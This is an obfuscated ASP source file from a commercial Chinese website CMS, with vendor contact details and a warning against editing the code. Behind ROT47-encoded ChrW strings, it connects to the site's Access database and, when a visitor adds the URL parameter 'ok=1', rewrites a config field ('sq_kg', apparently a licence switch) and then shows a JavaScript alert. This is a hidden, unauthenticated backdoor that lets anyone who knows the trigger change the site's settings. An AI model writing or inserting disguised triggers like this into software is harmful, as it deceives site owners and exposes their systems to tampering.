<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NZNNNN,NNZZZZ,NNZZZN,NNZZNZ,NNZZNN
Set NNZZZN=Response:Set NNZZZZ=Request:Set NNZZNN=Session:Set NZNNNN=Application:Set NNZZNZ=Server
set NNNZZZ = NNZZNZ.CreateObject(NNZNZZ(ChrW(50) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(63) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63)))
NNNZZN=NNZNZZ(ChrW(33) & ChrW(67) & ChrW(64) & ChrW(71) & ChrW(58) & ChrW(53) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(124) & ChrW(58) & ChrW(52) & ChrW(67) & ChrW(64) & ChrW(68) & ChrW(64) & ChrW(55) & ChrW(69) & ChrW(93) & ChrW(121) & ChrW(54) & ChrW(69) & ChrW(93) & ChrW(126) & ChrW(123) & ChrW(116) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(99) & ChrW(93) & ChrW(95) & ChrW(106) & ChrW(121) & ChrW(54) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(126) & ChrW(123) & ChrW(116) & ChrW(115) & ChrW(113) & ChrW(105) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(113) & ChrW(50) & ChrW(68) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(33) & ChrW(50) & ChrW(68) & ChrW(68) & ChrW(72) & ChrW(64) & ChrW(67) & ChrW(53) & ChrW(108) & ChrW(63) & ChrW(75) & ChrW(100) & ChrW(96) & ChrW(104) & ChrW(111) & ChrW(71) & ChrW(58) & ChrW(65) & ChrW(106) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(64) & ChrW(70) & ChrW(67) & ChrW(52) & ChrW(54) & ChrW(108)) & NNZZNZ.MapPath(NNZNZZ(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(68) & ChrW(66) & ChrW(61) & ChrW(93) & ChrW(50) & ChrW(68) & ChrW(50) & ChrW(73)))
NNNZZZ.open NNNZZN
NNNZNZ=NNZZZZ.QueryString(NNZNZZ(ChrW(68) & ChrW(54) & ChrW(50) & ChrW(67) & ChrW(52) & ChrW(57)))
if NNZZZZ.querystring(NNZNZZ(ChrW(64) & ChrW(60)))="1" then
set NNNZNN=NNZZNZ.CreateObject(NNZNZZ(ChrW(50) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(64) & ChrW(67) & ChrW(53) & ChrW(68) & ChrW(54) & ChrW(69)))
NNNNZZ=NNZNZZ(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(89) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(32) & ChrW(44))
NNNZNN.open NNNNZZ,NNNZZZ,1,3
NNNZNN(NNZNZZ(ChrW(68) & ChrW(66) & ChrW(48) & ChrW(60) & ChrW(56)))= (108 * 63 - 6803)
NNNZNN.update
NNNZNN.close:set NNNZNN=nothing
NNNZZZ.close:set NNNZZZ=nothing
NNZZZN.Write NNZNZZ(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86) & ChrW(64) & ChrW(60) & ChrW(-255) & ChrW(44) & ChrW(86) & ChrW(88) & ChrW(106) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(105) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106) & ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109))
end if
Function NNZNZZ(ByVal NNNNZN)
Dim NNZNZN, NNZNNZ, NNZNNN
NNNNZN = Replace(NNNNZN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NNZNNZ = 1 To Len(NNNNZN)
If NNZNNZ <> NNZNNN Then
NNZNZN = AscW(Mid(NNNNZN, NNZNNZ, 1))
If NNZNZN >= 33 And NNZNZN <= 79 Then
NNZNZZ = NNZNZZ & Chr(NNZNZN + 47)
ElseIf NNZNZN >= 80 And NNZNZN <= 126 Then
NNZNZZ = NNZNZZ & Chr(NNZNZN - 47)
Else
NNZNNN = NNZNNZ + 1
If Mid(NNNNZN, NNZNNN, 1) = Chr(64) Then NNZNZZ = NNZNZZ & ChrW(NNZNZN + 5) Else NNZNZZ = NNZNZZ & Mid(NNNNZN, NNZNNZ, 1)
End If
End If
Next
End Function
%>